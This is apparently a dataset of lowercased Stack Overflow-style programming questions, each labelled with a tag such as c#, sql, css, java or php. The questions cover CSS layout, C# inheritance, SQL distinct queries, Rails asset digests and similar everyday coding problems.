css-only square div fitting inside rectangle div  i have determined how to set a div height based on its width (using percentage width and padding-bottom).  but i also need to be able to set a div width based on its height.  i have tried using vw/vm/vh units  but those are relative to the viewport and not the container.    so  in the following example   <pre><code>&lt;body&gt;     &lt;div class= rectangle &gt;         &lt;div class= square &gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   here s some non-working css that only works in portrait:   <pre><code>.rectangle {   background-color:red;   position:absolute;   top:0;   left:0;   bottom:0;   right:0; }  .square {   background-color:blue;   width:100%;   padding-bottom:100%; } </code></pre>   i would like .rectangle to fill its container  meaning as the window size changes  .rectangle may go from a landscape layout to a portrait layout.  when this happens  i want the .square div to fill as far as it can without losing its square shape.    so  if the browser window is wider than it is tall (landscape)  the .rectangle should fill the window  and the .square should be as tall as the rectangle is tall  and as wide as the rectangle is tall.    and if the browser window is taller than it is wide (portrait)  the .rectangle should fill the window  and the .square should be as wide as the rectangle is wide  and as tall as the rectangle is wide.    so  i can use media queries to swap out styles between landscape and portrait  and i have a solution for the portrait case  but i haven t found a solution to the landscape case.  how do i get the square to fill its parent s height  and limit its width to maintain aspect ratio of a square,css
how to populate a text box with values from a derived class  c#  in my form i have the following...   <pre><code>if (productno == this.product1.productnumber)  //productnumber comes from product class                 {                     //if so  set the other values of the text boxes to that of the                      //product in memory                     tbdescription.text = product1.productdescription; //works - from product class                     tbonhand.text = product1.numberonhand.tostring(); //works - from product class                     tbunitofmeasure.text = product1.unitofmeasure;    //works - from product class                      tbvendorid.text = product1.vendorid; // doesn t work - from derived manufacturedproduct class                  } </code></pre>   where vendorid comes from manufacturedproduct class which is a derived class that comes from product.  the last line of code is what doesn t work.  i want to be able to populate tbvendorid with the value in product1.vendorid (which by the way is an int)    i get the following error...objects.product  does not contain a definition for  vendorid  and no extension method  vendorid  accepting a first argument of type  objects.product  could be found (are you missing a using directive or an assembly reference ),c#
how to hide rows in a grid view   there r things to hide a column in a grid view but are there any methods by which the rows of a grid can be hidden and un hidden on a particular action. say when a button is clicked the 1st and the 2nd row must be hidden and on another click the hidden rows must be un hidden.,asp.net
remove/update checked items: mysql  best practice  for example  i have on the web-page list of items with checkbox and users can check many of them to perform some action (delete  set state (active  inactive)  etc). users can check even 100 items at once or even more. so  should i execute 100 or more sql-queries     update: e.g. in gmail you can checked many letters as read/unread or delete them.,mysql
how to open another specific view controller in iphone  i am starter to iphone programming. maybe my question is too simple  but i can not understand the example that i found on the internet. i need your help.    i have lots of view controller on the storyboard.    and in some of these screens  i wrote the buttons programmatically . and now i want to go another screen when i push the button.    for example; i have two view controller that named homeviewcontroller and notificationviewcontroller. in homeviewcontroller  there is a button named  notification setting   when i push this button  program should open notificationviewcontroller.    how can it be written this code     thanks from now,ios
when an inherited class is instantiated with the default constructor  does it call the base class consctructor as well   does anyone know what is the behavior for c#  is it the same for all .net languages,.net
i want to disable a button when asp requiredfieldvalidator shows error  i want to disable the form submit button when asp:requiredfieldvalidator shows error please advise,asp.net
clock() and usleep() don t match up  i m sending packets from a sender thread to a receiver thread. to control the send rate (packets per second)  i calculate the time i need to wait before sending the next packet to maintain a certain send rate.    let s say the time needed to wait was calculated to be 100 microseconds.   <ol> <li>i check what time it is: <code>(double)(clock() - start)/clocks_per_sec;</code></li> <li>i call <code>usleep(100);</code></li> <li>i check what time it is again: <code>(double)(clock() - start)/clocks_per_sec;</code></li> </ol>   in step 3  when i check what time it is only 50 microseconds have passed (i checked the return value of <code>usleep</code> and confirmed it is returning 0).     why is this  shouldn t it be sleeping for <em>at least</em> 100 microseconds  or is there a different sleep function i should be using with <code>clock()</code>  thanks for any suggestions,c
initializing variables  what is the difference method1 and method2 in declaration     <strong>method1</strong>   <pre><code>private readonly categorybusiness _categorybusiness = new categorybusiness(); </code></pre>   <strong>method2</strong>   <pre><code>private readonly categorybusiness _categorybusiness;  public categorycontroller() : this(new categorybusiness()) {  }  public categorycontroller(categorybusiness categorybusiness) {     _categorybusiness = categorybusiness; } </code></pre>   <strong>update:</strong> my exact question is    is initializing a readonly field at its declaration the same as initializing it in the constructor with the same value,c#
c# login to load on main form  i have 2 forms  login(form2) and main(form1) form. i want to load the main form after typing the username and password correct and hide/close the login form at the same time.   <pre><code>private void button1_click(object sender  eventargs e)     {         string username =  admin ;         string password =  admin ;         if ((textbox1.text == username) &amp;&amp; (textbox2.text == password))             messagebox.show( login successful );          else             messagebox.show( invalid login );       } </code></pre>,c#
error with indenxing with [] in c# <pre><code>     int average(int [] a  int k)     {         int average  s  i  n;          s = 0;         for (i = 0; i &lt; k - 1; i++)         {             a[i] = convert.toint32(lblsortiranniz.items[i]);             s = s + a[i];         }         average = s / k;         return average;     } </code></pre>   thank you for help but now i dont know how to put it into my main program   <pre><code>     private void button1_click(object sender  eventargs e)      {         int i  j  n  pom  average1;         n = lblbrojevi.items.count;         int[] a = new int[n];         for (i = 0; i &lt; n; i++)             a[i] = convert.toint32(lblbrojevi.items[i]);         for (i = 0; i &lt; n - 1; i++)         {             for (j = i + 1; j &lt; n; j++)                 if (a[i] &gt; a[j])                 {                     pom = a[i];                     a[i] = a[j];                     a[j] = pom;                 }         }         for (i = 0; i &lt; n; i++)         {             lblsortiranniz.items.add(a[i]);         }         average1 = prosek(a[i]  3);         tbaverage.text = convert.tostring(average1);     } </code></pre>   i tried like this with number 3 as k  but it doesnt work  it give me some wrong small number. please help me if you can.,c#
how to ignore element height without float   alright  so we have this markup:   <pre><code>&lt;div class= die-control &gt;   &lt;div class= symbol yellow &gt;&lt;/div&gt;   &lt;label for= yellow &gt;yellow&lt;/label&gt;   &lt;a class= quantity-control up  href= # &gt;+&lt;/a&gt;   &lt;input name= yellow &gt;   &lt;a class= quantity-control down  href= # &gt;-&lt;/a&gt; &lt;/div&gt;  &lt;div class= die-control &gt;   &lt;div class= symbol green &gt;&lt;/div&gt;   &lt;label for= green &gt;green&lt;/label&gt;   &lt;a class= quantity-control up  href= # &gt;+&lt;/a&gt;   &lt;input name= green &gt;   &lt;a class= quantity-control down  href= # &gt;-&lt;/a&gt; &lt;/div&gt; </code></pre>   and this css:   <pre><code>.die-control {    width: calc(100% / 3);    float: left;    margin-bottom: 10px; }  .symbol.yellow {   display: inline-block;   position: relative;   left: -7px;   width: 30px;   height: 18px;   top: 5px;   background-color: #e9d23f;   -webkit-transform: rotate(90deg);   -ms-transform: rotate(90deg);   transform: rotate(90deg); }  .symbol.yellow::after {   content:   ;   position: absolute;   left: 0;   width: 0;   height: 0;   border-left: 15px solid transparent;   border-right: 15px solid transparent;   top: -10px;   border-bottom: 10px solid #e9d23f; }  .symbol.green {   display: inline-block;   position: relative;   left: -7px;   width: 0;   height: 0;   border: 15px solid transparent;   border-bottom: 20px solid #4f6441;   top: -5px; }  .symbol.green::after {    content:   ;    position: absolute;    left: -15px;    top: 20px;    width: 0;    height: 0;    border: 15px solid transparent;    border-top: 20px solid #4f6441;  } </code></pre>   the symbol classes are different heights. so when the the <code>.control</code> elements are placed side by side  the <code>input</code> elements are not aligned horizontally. if i make the the <code>.symbol</code> elements <code>float: left;</code>  then their height is ignored and the <code>input</code> elements are aligned.  but  i don t want them to float left.    is there a way to achieve that effect without floating the symbols,css
precompile assets without digest in rails 5  is there a way to precompile assets without the digest on the end     when the assets are precompiled with digest my rails application cannot find the assets that it needs to find.    such as   <pre><code>get http://localhost:3000/assets/application.js  </code></pre>   the line i use to link the application.js is   <pre><code>&lt;%= javascript_include_tag  application  %&gt; </code></pre>   is there a way to either disable the digest or have the rails application use the digest paths,ruby-on-rails
how to draw line with animation   i have implemented game application in which i want to draw line between two object.i have drawn line between two objects.but i want to draw with animation.can u advise me which animation i have to used between two points.    edit:my excatly question is that: suppose there is two point like start point(100 100) and endpoint(300 300).i can draw line between this two point but i want to draw line with animation.i mean i can see line start from start point to end point with 2 secon duration.please help me about this question.,iphone
call object of static inner class  i m trying to call an object from a static member class  but i get an exceptioninitializationerror. please could you look at my code and let me know what s wrong    <pre><code>import java.util.arraylist; public class staticinit {  public static void main(string[] args) throws exception {        arraylist&lt;olive&gt; olives = olivejar.olives;   for( olive o : olives) {      system.out.println(o);  }      }  public static class olivejar {         public static arraylist&lt;olive&gt; olives;           static {             olives.add(new olive( olive 1!   10));             olives.add(new olive( olive 2!   30));             olives.add(new olive( olive 3   10));             system.out.println( initialization successful. your jar contains   + olives.size() +   olives. );          }      } } </code></pre>,java
what are the advantages and disadvantages of dropping ios 7 support   what are the advantages and disadvantages for dropping support for ios 7  i am thinking about dropping it but just want to make sure i will not be making a grievous mistake.,ios
why is this html code slanted   here is the html code :   <pre><code>&lt;!doctype.html&gt; &lt;html&gt;  &lt;head&gt;     &lt;title&gt;bob is a big fat baby&lt;/title&gt; &lt;/head&gt; &lt;/body&gt; this is my first webpage &lt;h1&gt;this is u are bob baby&lt;h1&gt;           &lt;h2&gt;how exciting&lt;h2&gt;          &lt;ol&gt;          &lt;ol&gt;bob is a big fat baby&lt;ol&gt;          &lt;ol&gt; he really needs a life&lt;ol&gt;          &lt;p&gt;spinz.io the very fun game&lt;p&gt;          &lt;p&gt;&lt;a href= spinz.io&lt;/a&gt;&lt;/p&gt;            spinz.io a very fun game           &lt;p&gt; please be honest and put in the box yes or no if u are bob baby or not &lt;p&gt; </code></pre>   what is the prbolem in this  when i tried it  all of the text was slanted. also  there was no text box.  if there are any other problems  let me know.,html
how to stop a statement to work while it s false java  i have created an <code>arraylist</code> and i limited its size to 10. now i add <code>string</code>s to it while its size &le; 10.     how to stop function to proceed after the size is 10  and to make it wait (not to go further) after for example i delete an item and now the size is 9  after that it sees that the size is now 9 and it can add one more element.    <pre><code>private arraylist&lt;string&gt; arraylist = new arraylist&lt;string&gt;();   public void push(string s) throws interruptedexception {     if(arraylist.size() &lt; 10 )         {             arraylist.add(s);         }     else         {             thread.sleep(1000);             system.out.println( full! );         } }  public string get() {     if(arraylist.isempty())         {             system.out.println( this is empty );                 }     else         {             system.out.println(arraylist.get(0));             arraylist.remove(0);             system.out.println(arraylist.get(0));         }     return null; } </code></pre>   and in main   <pre><code>fifo fifo = new fifo(); fifo.push( helladadaow ); fifo.push( hellow ); fifo.push( hel2 ); fifo.push( hell2w ); fifo.push( hell4w ); fifo.push( hel2w ); fifo.push( helladadaow ); fifo.push( hellow ); fifo.push( hel2 ); fifo.push( hell2w ); // it stops here  // now if i delete fifo.get(); //it will push again fifo.push( hell4w ); fifo.push( hel2w ); </code></pre>  <ul> <li><code>void put(string);</code><br />it puts the <code>string</code> parameter into the <code>arraylist</code>. <strong>if the <code>arraylist</code> is full  the caller must wait.</strong></li> <li><code>string get();</code><br />returns and removes the oldest element from the <code>arraylist</code>. <strong>if the <code>arraylist</code> is empty  the caller must wait.</strong></li> </ul>,java
how to truncate all strings in a list to a same length  in some pythonic way   let s say we have a list such as:   <pre><code>g = [ 123456789123456789123456          1234567894678945678978998879879898798797          6546546564656565656565655656565655656 ] </code></pre>   i need the first twelve chars of each element :   <pre><code>[ 123456789123      123456789467      654654656465 ] </code></pre>   okay  i can build a second list in a for loop  something like this:   <pre><code>g2 = [] for elem in g:     g2.append(elem[:12]) </code></pre>   but i m pretty sure there are much better ways and can t figure them out for now. any ideas,python
how can i display the uiimagepickercontroller at the middle of the screen  i am developing one application.in that i am using the <code>uiimagepickercontroller</code>.that one will be opened total screen.but i need to open that picker at the middle of the <code>screen(50 50 220 380)</code>.so please tell mw how can i do this one.,iphone
converting timestamp to actual date in sql  i am trying to convert timestamps such as    <pre><code>0x0000000000c7442b 0x0000000000c7442c 0x0000000000c7442d 0x0000000000c7442e 0x0000000000c7442f 0x0000000000c74430 </code></pre>   in sql to date.  anyone with any idea on how to achieve it     here is my query   <pre><code>select fixed_assets.timestamp as date fixed_assets.description no_ as [tag number] fa_ledger.amount as cost  fixed_assets.[location code]  [useful life]  [depreciation rate] from fixed_assets  inner join fa_ledger on fixed_assets.no_ = fa_ledger.[fa no_] </code></pre>,sql
program seems to be skipping function call  i can t seem to get the program to call the second function. the program is supposed to open up a joke file  read it and display it for the user. then close the file  open a second punchline file  seek the last line and read it to the user. i m getting it to open the first file and display the joke but it doesn t do anything after that. any idea what i m doing wrong  thank you in advance.    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;fstream&gt; #include &lt;string&gt; using namespace std;  // function prototypes void displayalllines(ifstream &amp;joke); // display joke void displaylastline(ifstream &amp;punchline); // display punchline  int main() {     ifstream jokefile  punchlinefile;      // open the joke file     jokefile.open( joke.txt   ios::in);      // make sure the file actually opens     if (!jokefile)         cout &lt;&lt;  error opening file.  &lt;&lt; endl;      // call on function to display the joke     displayalllines(jokefile);      // close the joke file     jokefile.close();      // open the punchline file     punchlinefile.open( punchline.txt   ios::in);      // make sure the file actually opens     if (!punchlinefile)         cout &lt;&lt;  error obtaining the punchline  sorry :(.  &lt;&lt; endl;      // call on function to display punchline     displaylastline(punchlinefile);      // close the punchline file     punchlinefile.close();      system( pause );     return 0; }  // function to display the joke void displayalllines(ifstream &amp;joke) {     string input;      // read an item from the file     getline(joke  input);      // display the joke to the user     while (joke)     {         cout &lt;&lt; input &lt;&lt; endl;         getline(joke  input);     } }  // function to display the punchline void displaylastline(ifstream &amp;punchline) {     string input;      punchline.seekg(0l  ios::beg);  // fast forward to the end of the file     punchline.seekg( /n   ios::cur); // rewind the the new line character      getline(punchline  input);  // read the line     cout &lt;&lt; input &lt;&lt; endl; // display the line  } </code></pre>,c++
angulajs ng-click in expression html  i am displaying html in a angularjs expression.        in my html    <pre><code>&lt;div ng-bind-html= mytext &gt;&lt;/div&gt; </code></pre>   and in my controller    <pre><code>$scope.mytext = $sce.trustashtml( &lt;div class= my-style  ng-click= onclick(10) &gt;click me&lt;/div&gt; );  $scope.onclick = function(value) {     console.log( onclick: value: +value); } </code></pre>   but i am not able to get the click event     <strong>update</strong>    in one of the <a href= https://stackoverflow.com/questions/19726179 >question</a> i see it has be described about how to add html tags in the text or how to compile html. but my question is related to how to get ng-click event from the complied html. i don t see any of the answers providing this solution.,angularjs
jquery plugin - tablesorter error on first function call  i m using the jquery tablesorter plugin and initialising it in my code as per the documentation. my code is set up that when a td in table-two is clicked  it makes some changes to a corresponding td in table-one and then reorders the table. the code gives me the following error:   <blockquote>    uncaught typeerror: cannot read property  length  of undefined  </blockquote>   but when i click the td again  it works and continues to work. so it s just the first time the function is called.    in brief  my code is set up as follows:   <pre><code>$(document).on( ready   function() {      $( #table-one ).tablesorter(); }); </code></pre>   and then   <pre><code>$(document).on( click   td.team  function() {       // make some changes to table-one here  renumber the rows etc       $( #table-one ).trigger( update );      $( #table-one ).tablesorter( {sortlist: [[4 1]   [3 1]]} ) }); </code></pre>   so its only the first time i click on a td in table-two that fires the error. then if i click the td in table-two again and again and again it continues to work as expected. bizarre  any help appreciated.,jquery
make jquery slideshow fill the background of a web page  n.b. the links referenced in this post can be found <a href= http://dgtgroup.co.uk/stack/links.html  rel= nofollow >here</a>.    i am new to jquery and i am trying to use the crossslide plug-in (see link 1)  but i need the images to expand to fill the background of my webpage. it doesn t matter if they go out of proportion  as long as they fit.    the default settings for crossslide  causes images to transition with a basic fade. using the following css i can make the images fill the background:   <pre><code>#slideshow {   width: 600px;   height: 200px; } </code></pre>   see link 2 for working example.    cross slide has an advance setting which allows images to transition with a panning effect.    i can get the panning effect working (see link 3). however  if i try to use css to make the images fill the background  it stops working (see link 4).    could someone give me some pointers on how to achieve my goal.     (ps if the code in the examples seems a bit odd  its because i am using drupal and just saved out these pages  so i would not have to have 3 different drupal installs running. the actual drupal site can be found in link 5).,jquery
my if statement is not allowing a change to an non-indexed array value  in the script below i have an array. my array stores all the links  titles and descriptions from a web page. but i want to make sure that if there is no description  it will use the first 20 characters of a p tag using a function which works. only problem is i have the jigsaw pieces and just can t seem to put them together  so i want my if statement to show that if the description is empty to use the function getword instead of getmetas().    <pre><code>function getmetas($link) {     $str1 = file_get_contents($link);          if (strlen($str1)&gt;0) {         preg_match_all(  /&lt;meta.* name=( |\ )description( |\ ).* content=( |\ )(.* )( |\ )/i   $str1  $description);         if (count($description) &gt; 1) {             return $description[4];            }      }   } </code></pre>   then my function goes here but there is no need to see that as i know that works.   <pre><code>function getword() {     $html = file_get_contents($link);         preg_match( %(&lt;p[^&gt;]*&gt;.* &lt;/p&gt;)%i   $html  $re);     $res = get_custom_excerpt($re[1]); }    $outputs = array();  foreach ($links as $thislink) {     $output[] = array( link  =&gt; $thislink   title  =&gt; titles($thislink)   description  =&gt; getmetas($thislink));      if ($output[ description ] == null) {         $output[ description ] = $res;     }      $outputs[] = $output; } print_r($output); </code></pre>,php
linking a floating button in tabbed activity to each tab  i have created a tabbed activity and i have a floating button  i want to link the floating button click to each activity so that when you swipe to one activity and you click on the add button  it open an activity different from the one the other tabs will open,android
page doesn t postback if it has validation control after deployment  i have a page with a radiobuttonlist which should post back when the selection is changed. but because of requiredfieldvalidator on the page  the postback is not happening. it is working fine on //localhost/ but not after deployment to production server.    the error on the page is:  event  is null or not an object <br>line: 126 char: 5 code: 0    uri: <a href= http://web-dev:90/aspnet_client/system_web/2_0_50727/webuivalidation.js  rel= nofollow >http://web-dev:90/aspnet_client/system_web/2_0_50727/webuivalidation.js</a>    a few things which i have already tried:    1) aspnet_client folder is in its proper place.    2) i have added <code>page.validate() and if(page.isvalid){}</code> statements with the button on whose click the validation should happen.    3) the validatorcommononsubmit function in <code>webuivalidation.js</code> file looks like this: <pre><code>    function validatorcommononsubmit() {     event.returnvalue = !page_blocksubmit;    page_blocksubmit = false;    return event.returnvalue;} </pre></code> can somebody help me with this  any help would be appreciated. thanks!!,asp.net
regarding the  class  class in obj-c   please observe this method declaration:   <pre><code>nsstring *nsstringfromclass(class aclass); </code></pre>   i want to understand the <code>class</code> class  but i can t find docs about it because i don t know how to create a good enough regular expression and google with it. the fact that the class name is <code>class</code> and not <code>nsclass</code> makes me think <code>class</code> is not a real class (like <code>java.lang.class</code>). but  i don t know  and so i want to research this. but  i can t find docs.    if i need to ask <em>a specific question</em>: is  class  in obj-c a real class  what are its methods and properties,objective-c
select distinct on one column that returns multiple columns using more than one table  here is my query:   <pre><code>select dtljob.lj_jobnum  dtbom2.b2_id dtbom2.b2_ljid from dtbom2  dtljob where dtbom2.b2_ljid = dtljob.lj_id order by dtbom2.b2_id desc </code></pre>   here are my results:   <pre><code>lj_jobnum   b2_id   b2_ljid 201302867   230     150 201302867   229     150 201302807   228      87 201302807   227      87 201402911   226     200 201402911   225     200 201403027   224     320 201403027   222     320 </code></pre>   my problem is that i only want to see unique records for li_jobnum and b2_ljid  and i need to have the result <code>order by b2_id desc</code> in order to get the most recent record to the top of the result.    based on the data above  here is what i would like my result to be:   <pre><code>lj_jobnum   b2_id   b2_ljid 201302867   230     150 201302807   228      87 201402911   226     200 201403027   224     320 </code></pre>   i really do not need the b2_id in my results as long as the results are ordered by b2_id desc.    how can i change my query to get the results i need,sql
what is the correct way to use filegetcontents   there are so many ways to enter a url that i just created an array and tried them all ...    this happens to be for domains only:   <pre><code>private function pagefoundget( $domain ) {     $types = array(          file_get - 1 =&gt;$domain           file_get - 2 =&gt; www.  . $domain           file_get - 3 =&gt; http://www.  . $domain           file_get - 4 =&gt; https://www.  . $domain           file_get - 5 =&gt; http://  . $domain           file_get - 6 =&gt; https://  . $domain     );      foreach ($types as $code =&gt; $value) {         if ($this-&gt;domain_file = $this-&gt;filegetcontents( $value ))         {             $this-&gt;file_start_code = $code;             return true;         }     }     return false; } </code></pre>   but what is the correct way,php
cellular emulator :com4 is in use  please close device emulator if it is running and then retry <h2>  <a href= http://img541.imageshack.us/img541/3381/errorb.png  rel= nofollow noreferrer >link text</a></h2>   i installed windows mobile 6.0 standard sdk but later found out my program needs professional versions.    no matter how i uninstall the old sdk from control panels>add/remove or trying to install the professional version over it  this happens. now i couldn t even run a smart device project/solution from visual studio 2008.    now i can t work on my project...,c#
why do i get an error in my html canvas in this asp.net program   i m trying to put an <code>html canvas</code> in my website.    this is my code lines but i have an error   <blockquote>     cs1026: ) exepted    </blockquote>   and i don t really know why.   <pre><code> &lt;asp:tablecell  runat= server  onload= init();  &gt;       &lt;canvas id= canvas   width= 640  height= 480  style= background-color:#ffffff &gt;&lt;/canvas&gt;       &lt;%--&lt;object width= 640  height= 480 &gt;&lt;embed src= ../images/animations/animation-pharmacie.swf  width= 640  height= 480  /&gt;&lt;/object&gt;--%&gt;  &lt;/asp:tablecell&gt; </code></pre>,asp.net
disallow slicing to keep multiple parent class properties in sync  i am deriving an object from two parent classes. these two parents each have different types of properties  but i want the child to keep them in sync with each other. however  i want to disallow users of the library from treating <code>child</code> like a <code>parenta</code> or a <code>parentb</code> accidentally via slicing. for example:   <pre><code>#include &lt;iostream&gt;  class parenta { public:     void modify()     {         std::cout &lt;&lt;  modifya  &lt;&lt; std::endl;     }      void reada()     {         std::cout &lt;&lt;  reada  &lt;&lt; std::endl;     } };  class parentb { public:     void modify()     {         std::cout &lt;&lt;  modifyb  &lt;&lt; std::endl;     }     void readb()     {         std::cout &lt;&lt;  readb  &lt;&lt; std::endl;     } };  class child : public parenta  public parentb { public:     void modify()     {         // do some bounds checking to make sure parenta and parentb stay in sync  then:         parenta::modify();         parentb::modify();         std::cout &lt;&lt;  modifychild  &lt;&lt; std::endl;     } };  void change(parenta object) {     object.modify(); }  int main() {     std::cout &lt;&lt;  this is standard:  &lt;&lt; std::endl;     parenta parenta;     parenta.modify();      parentb parentb;     parentb.modify();      child child;     child.reada();     child.readb();     child.modify();      std::cout &lt;&lt;  want to avoid this:  &lt;&lt; std::endl;     change(child);      return 0; } </code></pre>   this call to <code>change(child);</code> calls <code>parenta</code> s <code>modify()</code> function  in which the <code>parenta</code> properties can get out of sync with the <code>parentb</code> properties  leaving the <code>child</code> in a bad state.    there are many functions (the <code>read*()</code> ones here) in <code>parenta</code> and <code>parentb</code> that i don t want to have to manually forward from <code>child</code>  so i can t derive privately.     is there a way to make this call to <code>change(child)</code> produce a compiler error (without changing the signature of <code>change</code>),c++
how to use compound statements or block  i m trying to use compound statements as the following:   <pre><code>namespace a {     namespace b     {         { //compound statement started here             void foo()             {                 printf( %d\n  i);             }             int i=5;         } //ended here     } }  int main(){ } </code></pre>   but i ve a compile-time error:   <pre><code>test.cpp:7:3: error: expected unqualified-id before ‘{’ token test.cpp:19:1: error: expected ‘}’ at end of input test.cpp:19:1: error: expected ‘}’ at end of input </code></pre>   but i m expected that it s ok. it is because compound statement defined as:   <pre><code>compound-statement:    { statement-seq_opt } </code></pre>   at 6.3/1.,c++
jquery removeclass not working properly  i m designing a javascript function to highlight a label in a scrollable list and scroll to it; highlighting and scrolling is ok.    problem is i also whant to  de-highlight  previously highighted labels if there are any (for future searches). to highlight i add a css class  to de-highlight i use removeclass from jquery to remove the css class if it exists; but it doesn t work  for some reason. this is my function:   <pre><code>$( .targetusername ).each(function () {     index++;               s = this.innerhtml.tostring().tolowercase().match(regex);     if(s != null) {         $(this).attr( class    current );         foundusers++;          if (foundusers == 1 &amp;&amp; index &gt; 10)             $( #usersdiv ).scrolltop(index * height);      }     else if ($(this).hasclass( current ))         $(this).removeclass( current ); //this is not working  }); </code></pre>,jquery
what if we want to output all results and not only distinct results in sql union   currently   <pre><code>select column_name(s) from table1 union select column_name(s) from table2; </code></pre>   outputs only distinct. what if i want to output all results,sql
finding same files in directory by name and not size  i want to get diff of two directories based on custom diff comparison. i looked around and found this code that i modified for my requirement  but somehow its returning me incorrect results.    i want to have two filenamecomparions  one by name and one by size   <pre><code>class filenamecompare : system.collections.generic.iequalitycomparer&lt;system.io.fileinfo&gt; {     public filenamecompare() { }      public bool equals(system.io.fileinfo file1  system.io.fileinfo file2)     {         return (file1.name == file2.name);     }      public int gethashcode(system.io.fileinfo fileinfo)     {         string filestring = string.format( {0}{1}   fileinfo.name  fileinfo.length);         return filestring.gethashcode();     } } </code></pre>   and in my code  i am calling   <pre><code>    //compare files         filenamecompare filenamecompare = new filenamecompare();           bool areidentical = baselist.sequenceequal(comparelist  filenamecompare);          ienumerable&lt;fileinfo&gt; diff = (from file in baselist                                                       select file).except(comparelist  filenamecompare); </code></pre>   baselist and comparelist of type ienumerable baselist    now  when i have two directories with same filename  but different size  areidentical comes as true  but diff still has the one file in baselist.    what is it that i am doing wrong     on the the same directories  i need to run both name and size comparisons  i need to exactly what files were different on name and what on size  thats why i seperated out the comparsions.    edit:    i needed to find the files that were different in size (existing in both the directories)  so based on ramoku s tip  here is what i have done.   <pre><code>        //get common directories between baselist and comparelist         ienumerable&lt;fileinfo&gt; commonlist = (from file in baselist                                             select file).intersect(comparelist  filenamecompare);          ienumerable&lt;fileinfo&gt; diffinlistbysize = (from file in commonlist                                                   select file).except(comparelist  filesizecompare); </code></pre>,c#
live data processing and reporting (advice) <h1>tldr;</h1>   ok  so what i ve written below isn t very clear...    long story short. i am looking for a database solution  which supports high speed ingestion  fast processing and the ability to perform large and complex queries  either directly via an api (for client side reporting) or via a client  which can be accessed via an api.    whilst i ve had a look at various solutions  i m not experienced enough (in this field) to know which is best  and whether their implementation is suitable to my requirements (hence the attempt of explaining my requirements.)    we currently utilise a lot of aws services  so anything hosted directly  or via an ami could be useful.   <hr>   i ve been given the task of redesigning and upgrading our current data analytics system which essentially runs on extremely old and unsupported software  is rather slow and completely unscalable.   <h1>background</h1>   currently  we have a coldfusion server that listens to files being received via email  ftp and via manual upload via our client interface. files are then parsed and ingested into a fact table.    jobs are then added to a queue in which tells our data processor to collect fact records over 30 minute intervals and run some calculations on them.     due to the age of coldfusion  it s been decided we re getting rid of it and finding something a little more iot/big data aware.   <h1>what i ve tried</h1>  <h3>data restructure/normalisation</h3>   so  a lot of the functionality was based upon requirements defined by customers/users over 10 years ago and these are no longer relevant. with this in mind  the data was restructured to make it a little more easier to understand and index.   <h3>fact/summary tables</h3>   as intervals between each data record could be completely random  i.e. 1-30 minutes  the system has to cope with all  whilst providing a consistent experience. this is why our current system defaults to reporting in 30 minute intervals.    the fact table contains raw data  i.e. <code>id  timestamp  value</code>  indexed on the id and timestamp accordingly.    i then looked at using window functions to generate rows for each minute between record  dividing the difference between records by the number of minutes and filling the gap.    this obviously caused at minimum 48 rows in the summary table  to become 1440 rows  which slows things down even further.     another solution tried  was then to use the window functions as above  but at the point of querying the data for reporting - this failed straight away.   <h3>elasticcache/solr</h3>   after processing the data  i thought about indexing it using elasticcache or similar and initial tests looked good  however their aggregation functionality was not suitable for what i needed (i.e. you could group by date etc  however you d lose the ability to paginate.)   <h1>now what...</h1>   so  i ve been looking at various in-memory solutions  i.e. hadoop/hive  which on the face of things look amazing  i m concerned about how i d make the data available to the front-end.    i presume this would need an api to communicate with hadoop/hive     i appreciate it s a bit of a open question but i m limited by my employer who won t cough up for someone unless i can prove i ve exhausted all avenues.,sql
hide duplicate content from the database in the view  i created a retweet/repin feature for my app. how should i go about hiding the duplicate  content  in the view  i have it setup in the index view so that it shows all the entries from the table <code>&lt;%= render @letsgos %&gt;</code>.    i setup the retweet/repin so that user b can repost what user a posted. in the database it will copy the original posting from user a  and in the column  repost_from_user_id  it will show the original id of the  content .    controller:   <pre><code>class letsgoscontroller &lt; applicationcontroller   before_action :correct_user  only: :destroy    def create     @letsgo = current_user.letsgos.build(letsgo_params)     if @letsgo.save       flash[:success] =  date posted!        redirect_to root_url     else       flash[:error] =  date was not posted!        redirect_to root_url     end   end    def destroy     @letsgo.destroy     redirect_to root_url   end    def index     @letsgos = letsgo.all      @eat = letsgo.where(:tag =&gt;  eat )   end    def eatdrink     @eatdrink = letsgo.where(:tag =&gt;  eat/drink )   end    def listenwatch     @listenwatch = letsgo.where(:tag =&gt;  listen/watch )   end    def play     @play = letsgo.where(:tag =&gt;  play )   end    def explore     @explore = letsgo.where(:tag =&gt;  explore )   end    def other     @other = letsgo.where(:tag =&gt;  other )   end    def repost     @letsgo = letsgo.find(params[:id]).repost(current_user)     redirect_to root_url   end  private    def letsgo_params     params.require(:letsgo).permit(:content  :tag)   end    def correct_user     @letsgo = current_user.letsgos.find_by(id: params[:id])     redirect_to root_url if @letsgo.nil    end end </code></pre>   model:   <pre><code>class letsgo &lt; activerecord::base   belongs_to :user   default_scope -&gt; { order( created_at desc ) }   validates :content  presence: true  length: { maximum: 360 }   validates :user_id  presence: true    def repost(user_object)     new_letsgo = self.dup #duplicates the entire object  except for the id     new_letsgo.user_id = user_object.id     new_letsgo.repost_from_user_id = self.id #save the user id of original repost  to keep track of where it originally came from     new_letsgo.save   end    def is_repost      repost_from_user_id.present    end    def original_user     user.find(repost_from_user_id) if is_repost    end end </code></pre>,ruby-on-rails
searching for a string and printing results using def__contains__()  i am trying to write a piece of code that can search for a string in graph and if it finds it  it will print a string indicating it was found. i think that the way i am searching for it using contains is correct  i am just having trouble understanding how i can print a string showing that information. below is the section in question  specifically at def__contains__().   <pre><code>    def __contains__(self  item):         if  evga  in self.graph:              print  contains evga          else:             print  doesn t contain evga  </code></pre>,python
